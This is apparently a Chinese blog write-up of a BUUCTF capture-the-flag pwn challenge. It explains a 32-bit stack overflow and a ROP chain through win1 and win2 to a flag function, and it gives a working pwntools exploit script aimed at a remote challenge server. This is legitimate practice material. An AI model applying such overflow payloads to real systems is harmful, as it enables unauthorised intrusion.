话不多说,直接上题(BUUCTF)
在 main 函数中发现漏洞函数
明显栈溢出
有个 flag 函数,要求是 win1、win2 为真且 a1 等于一个值
选中数值右键 Hexdecimal 转为十六进制 0xDEADBAAD
函数 function1 中定义的 win1 的值
在 function2 中我们要传入 a1 = 0xBAAAAAAD
回想 32 位 ROP 方式是函数 + 返回地址 + 参数
则 win1 的返回地址是 win2,win2 返回地址是 flag
构造 payload
from pwn import *
sh = remote('node5.buuoj.cn',27251)
a1_win2 = 0xBAAAAAAD
a1_flag = 0xDEADBAAD
win1 = 0x80485cb
win2 = 0x80485d8
flag = 0x804862b
payload = b'a'*(0x18 + 4) + p32(win1) + p32(win2) + p32(flag) + p32(a1_win2) + p32(a1_flag)
sh.sendline(payload)
sh.interactive()
成功拿到 flag
© 版权声明
THE END
暂无评论内容